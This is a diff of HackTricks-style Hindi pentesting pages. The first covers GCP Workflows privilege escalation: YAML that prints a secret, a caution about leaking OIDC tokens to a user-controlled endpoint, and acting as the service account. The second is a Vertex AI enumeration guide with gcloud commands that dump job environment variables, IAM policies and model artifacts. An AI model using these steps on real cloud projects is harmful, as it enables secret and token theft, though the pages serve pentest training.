Connectors का documentation पाया जा सकता है। उदाहरण के लिए, यह [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** साइडबार में कई अन्य connectors मिल सकते हैं।
|
||||
|
||||
और यहाँ आप एक कनेक्टर का उदाहरण देख सकते हैं जो एक रहस्य प्रिंट करता है:
|
||||
और यहाँ आप एक connector का उदाहरण पा सकते हैं जो secret को print करता है:
|
||||
|
||||
<details><summary>Workflow YAML configuration to access secrets</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,7 +33,11 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
</details>
|
||||
|
||||
CLI से अपडेट:
|
||||
|
||||
<details><summary>CLI से Deploy और Execute workflows</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
@@ -40,7 +46,7 @@ gcloud workflows deploy <workflow-name> \
|
||||
```
|
||||
यदि आपको `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` जैसी त्रुटि मिलती है, तो बस **एक मिनट प्रतीक्षा करें और फिर से प्रयास करें**।
|
||||
|
||||
यदि आपके पास वेब एक्सेस नहीं है, तो आप निम्नलिखित के साथ एक Workflow को ट्रिगर और उसके निष्पादन को देख सकते हैं:
|
||||
यदि आपके पास वेब एक्सेस नहीं है तो Workflow के execution को trigger करके देखना संभव है:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> आप संवेदनशील जानकारी की तलाश के लिए पिछले निष्पादन के आउटपुट की भी जांच कर सकते हैं
|
||||
|
||||
ध्यान दें कि भले ही आपको `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` जैसी त्रुटि मिले क्योंकि आपके पास वह अनुमति नहीं है, कार्यप्रवाह उत्पन्न हो चुका है।
|
||||
|
||||
### OIDC टोकन लीक (और OAuth?)
|
||||
|
||||
[**दस्तावेज़ों के अनुसार**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) यह संभव है कि कार्यप्रवाह चरणों का उपयोग किया जाए जो OAuth या OIDC टोकन के साथ HTTP अनुरोध भेजेंगे। हालाँकि, [Cloud Scheduler](gcp-cloudscheduler-privesc.md) के मामले की तरह, Oauth टोकन के साथ HTTP अनुरोध को होस्ट `.googleapis.com` पर होना चाहिए।
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> इसलिए, यह **संभव है कि OIDC टोकन को उपयोगकर्ता द्वारा नियंत्रित HTTP एंडपॉइंट** को इंगित करके लीक किया जाए, लेकिन **OAuth** टोकन को लीक करने के लिए आपको उस सुरक्षा के लिए **बायपास** की आवश्यकता होगी। हालाँकि, आप अभी भी **SA की ओर से कार्य करने के लिए किसी भी GCP API से संपर्क कर सकते हैं** या तो कनेक्टर्स या OAuth टोकन के साथ HTTP अनुरोधों का उपयोग करके।
|
||||
> आप पिछले निष्पादनों के आउटपुट को संवेदनशील जानकारी देखने के लिए भी जांच सकते हैं
|
||||
|
||||
ध्यान दें कि भले ही आपको `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` जैसा error मिले क्योंकि आपके पास वह permission नहीं है, workflow जनरेट हो चुका होता है।
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
|
||||
|
||||
> [!CAUTION]
|
||||
> इसलिए, यह **संभव है कि आप एक HTTP endpoint इंगित करके OIDC token को leak कर सकते हैं** जो user द्वारा नियंत्रित हो, परंतु OAuth token को leak करने के लिए आपको उस सुरक्षा के लिए **bypass** की आवश्यकता होगी। फिर भी, आप किसी भी **GCP api** को **contact** करके **SA** की ओर से कार्रवाई कर सकते हैं, चाहे वह connectors हों या OAuth token के साथ HTTP requests हों।
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow HTTP request with OAuth token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>Workflow HTTP अनुरोध जिसमें OIDC token हो</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
इस अनुमति के साथ `workflows.workflows.create` के बजाय, एक पहले से मौजूद वर्कफ़्लो को अपडेट करना और समान हमले करना संभव है।
|
||||
इस अनुमति के साथ, `workflows.workflows.create` की बजाय पहले से मौजूद एक workflow को अपडेट करना और वही attacks करना संभव है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) is Google Cloud's **एकीकृत मशीन लर्निंग प्लेटफ़ॉर्म** जो बड़े पैमाने पर AI मॉडल बनाने, तैनात करने और प्रबंधित करने के लिए है। यह विभिन्न AI और ML सेवाओं को एक एकीकृत प्लेटफ़ॉर्म में जोड़ता है, जिससे डेटा वैज्ञानिकों और ML इंजीनियरों को सक्षम बनता है:
|
||||
|
||||
- **कस्टम मॉडल प्रशिक्षित करें** AutoML या कस्टम ट्रेनिंग का उपयोग करके
|
||||
- **मॉडल तैनात करें** स्केलेबल एंडपॉइंट्स पर पूर्वानुमान के लिए
|
||||
- **ML लाइफसाइकल प्रबंधित करें** प्रयोग से लेकर प्रोडक्शन तक
|
||||
- **Model Garden से प्री-ट्रेंड मॉडल एक्सेस करें**
|
||||
- **मॉडल प्रदर्शन मॉनिटर और ऑप्टिमाइज़ करें**
|
||||
|
||||
### मुख्य घटक
|
||||
|
||||
#### Models
|
||||
|
||||
Vertex AI **models** प्रशिक्षित मशीन लर्निंग मॉडल का प्रतिनिधित्व करते हैं जिन्हें predictions सर्व करने के लिए endpoints पर तैनात किया जा सकता है। Models हो सकते हैं:
|
||||
|
||||
- **Uploaded** कस्टम कंटेनरों या मॉडल आर्टिफैक्ट्स से
|
||||
- **AutoML** ट्रेनिंग के माध्यम से बनाए गए
|
||||
- **Model Garden** (pre-trained models) से इम्पोर्ट किए गए
|
||||
- **Versioned** एक मॉडल के कई वर्शन के साथ
|
||||
|
||||
प्रत्येक मॉडल के पास मेटाडेटा होता है जिसमें उसका framework, container image URI, artifact स्थान, और serving configuration शामिल होते हैं।
|
||||
|
||||
#### Endpoints
|
||||
|
||||
**Endpoints** वे रिसोर्सेस हैं जो तैनात मॉडल होस्ट करते हैं और ऑनलाइन predictions सर्व करते हैं। प्रमुख विशेषताएँ:
|
||||
|
||||
- कई **deployed models** होस्ट कर सकते हैं (traffic splitting के साथ)
|
||||
- रियल-टाइम predictions के लिए **HTTPS endpoints** प्रदान करते हैं
|
||||
- ट्रैफ़िक के आधार पर **autoscaling** सपोर्ट करते हैं
|
||||
- **private** या **public** एक्सेस उपयोग कर सकते हैं
|
||||
- ट्रैफ़िक स्प्लिटिंग के माध्यम से **A/B testing** का समर्थन
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs** आपको अपने कस्टम कंटेनरों या Python पैकेजेस का उपयोग करके कस्टम ट्रेनिंग कोड चलाने की अनुमति देते हैं। सुविधाएँ शामिल हैं:
|
||||
|
||||
- कई worker pools के साथ **distributed training** का समर्थन
|
||||
- कॉन्फ़िगर करने योग्य **machine types** और **accelerators** (GPUs/TPUs)
|
||||
- अन्य GCP रिसोर्सेस तक पहुँच के लिए **Service account** संलग्न करने का विकल्प
|
||||
- विज़ुअलाइज़ेशन के लिए **Vertex AI Tensorboard** के साथ इंटीग्रेशन
|
||||
- **VPC connectivity** विकल्प
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
ये जॉब्स स्वचालित रूप से विभिन्न पैरामीटर संयोजनों के साथ कई ट्रेनिंग ट्रायल चलाकर **optimal hyperparameters खोजते हैं**।
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** प्रदान करता है:
|
||||
|
||||
- प्री-ट्रेंड Google मॉडल
|
||||
- ओपन-सोर्स मॉडल (including Hugging Face)
|
||||
- थर्ड-पार्टी मॉडल
|
||||
- वन-क्लिक तैनाती की क्षमताएँ
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards** ML प्रयोगों के लिए विज़ुअलाइज़ेशन और मॉनिटरिंग प्रदान करते हैं, जिनमें मेट्रिक्स, मॉडल ग्राफ और ट्रेनिंग प्रोग्रेस ट्रैक करना शामिल है।
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
डिफ़ॉल्ट रूप से, Vertex AI सेवाएं **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`) का उपयोग करती हैं, जिसे प्रोजेक्ट पर **Editor** अनुमतियाँ मिली होती हैं। हालाँकि, आप कस्टम service accounts निर्दिष्ट कर सकते हैं जब:
|
||||
|
||||
- custom jobs बना रहे हों
|
||||
- models अपलोड कर रहे हों
|
||||
- models को endpoints पर deploy कर रहे हों
|
||||
|
||||
यह service account उपयोग किया जाता है:
|
||||
- Cloud Storage में training data तक पहुँचने के लिए
|
||||
- Cloud Logging में लॉग लिखने के लिए
|
||||
- Secret Manager से secrets एक्सेस करने के लिए
|
||||
- अन्य GCP सेवाओं के साथ इंटरैक्ट करने के लिए
|
||||
|
||||
### Data Storage
|
||||
|
||||
- **Model artifacts** **Cloud Storage** buckets में स्टोर होते हैं
|
||||
- **Training data** सामान्यतः Cloud Storage या BigQuery में रहती है
|
||||
- **Container images** **Artifact Registry** या Container Registry में स्टोर होते हैं
|
||||
- **Logs** **Cloud Logging** को भेजे जाते हैं
|
||||
- **Metrics** **Cloud Monitoring** को भेजे जाते हैं
|
||||
|
||||
### Encryption
|
||||
|
||||
डिफ़ॉल्ट रूप से, Vertex AI **Google-managed encryption keys** का उपयोग करता है। आप निम्न भी कॉन्फ़िगर कर सकते हैं:
|
||||
|
||||
- **Customer-managed encryption keys (CMEK)** from Cloud KMS
|
||||
- Encryption मॉडल आर्टिफैक्ट्स, ट्रेनिंग डेटा और endpoints पर लागू होती है
|
||||
|
||||
### Networking
|
||||
|
||||
Vertex AI रिसोर्सेस को निम्न के लिए कॉन्फ़िगर किया जा सकता है:
|
||||
|
||||
- **Public internet access** (default)
|
||||
- प्राइवेट एक्सेस के लिए **VPC peering**
|
||||
- सुरक्षित कनेक्टिविटी के लिए **Private Service Connect**
|
||||
- **Shared VPC** सपोर्ट
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### मॉडल जानकारी एकत्र करना
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### एंडपॉइंट विवरण
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### कस्टम जॉब जानकारी
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### अभिगम नियंत्रण
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### स्टोरेज और आर्टिफैक्ट्स
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### मॉडल गार्डन
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
निम्नलिखित पृष्ठ पर आप यह देख सकते हैं कि **abuse Vertex AI permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user